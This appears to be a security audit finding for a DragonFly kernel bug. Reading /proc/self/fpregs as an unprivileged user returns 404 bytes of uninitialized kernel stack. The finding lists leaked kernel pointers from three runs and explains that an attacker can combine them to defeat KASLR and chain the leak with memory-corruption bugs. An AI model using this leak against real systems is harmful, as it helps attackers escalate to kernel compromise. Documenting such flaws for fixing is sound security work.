DF-0938 — leaked kernel-stack bytes via /proc/self/fpregs (3 runs, unprivileged)
==============================================================================
Guest: DragonFly 6.5-DEVELOPMENT #0 (unpatched audit kernel), procfs on /proc
User:  maxx (uid 1001, not in wheel)
Path:  open("/proc/self/fpregs") -> read(fd, buf, 512)

struct fpreg is 512 bytes; fill_fpregs_xmm (cpu_fxsr=1 default path) writes
only env87(28) + sv_ac[8](80) = 108 bytes. The remaining 404 bytes
(sv_pad0[4] + sv_pad[64] + the entire 336-byte fpr_xacc+fpr_spare tail of
struct fpreg) are UNINITIALIZED kernel stack.

Run 1 (287 non-zero non-0xAA bytes in tail [108..512)):
  leaked kernel-VA qwords (little-endian, offsets in the 512-byte buffer):
    0x70:  fffff80118493888
    0x80:  fffff80118493578   0x88: ffffffff809d4f53
    0x90:  fffff801184935a8   0x98: ffffffff806d876e
    0xa8:  fffff8008dcb8c00
    0xb8:  fffff80090db1700
    0xd0:  fffff8008dcb640a   0xd8: fffff80116d11d80 (x3 repeats)
    0xf0:  fffff801184935f8   0xf8: ffffffff80712e0d
    0x100: fffff801169395f0 (x2)
    0x118: ffffffff807141c3
    0x128: fffff80116885880
    0x138: fffff8008daf1400
    0x148: ffffffff80709fbc
    0x158: fffff80090db18c0
    0x168: ffffffff810edbc0   <-- kernel .text range (proc0=0xffffffff81176920)
    0x178: ffffffff806e0af8
    0x188: fffff80116813980 (x2)
    0x198: fffff80116958980
    0x1b8: fffff801184936b8 (x3)
    0x1c8: fffff8008df51e80
    0x1e8: fffff80116939620

  For reference (nm /boot/kernel/kernel): proc0 = 0xffffffff81176920.
  The leaked 0xffffffff810xxxxx values sit in the kernel .text/.rodata range
  -> direct KASLR / kernel-address disclosure.

Run 2 (299 non-zero bytes): qword@0x100 = fffff80116939d20  (DIFFERENT)
Run 3 (298 non-zero bytes): qword@0x100 = fffff80116939c80  (DIFFERENT)

SHA256 of full 512-byte buffer per run (proves byte-level variance):
  run1: c3c548067204a9e6ea678657b76650aa3fc0d74b92da44ccdeab6273b3e16fc5
  run2: 81660ccec9fef97a6ed17d0f944fbe87d9774d2c17a1bc29304ee4429e9caf5b
  run3: 4b33866075f12b97200b3a5d1769e2e3f0d04b9244509bbf5acd95f2b4ad8b22

Variance across runs confirms the leaked tail is uninitialized kernel-stack
residue (different prior-syscall leftovers per call), NOT deterministic FPU
state. An attacker can aggregate leaked pointers across reads to defeat KASLR
deterministically and chain with a separate kernel memory-corruption primitive.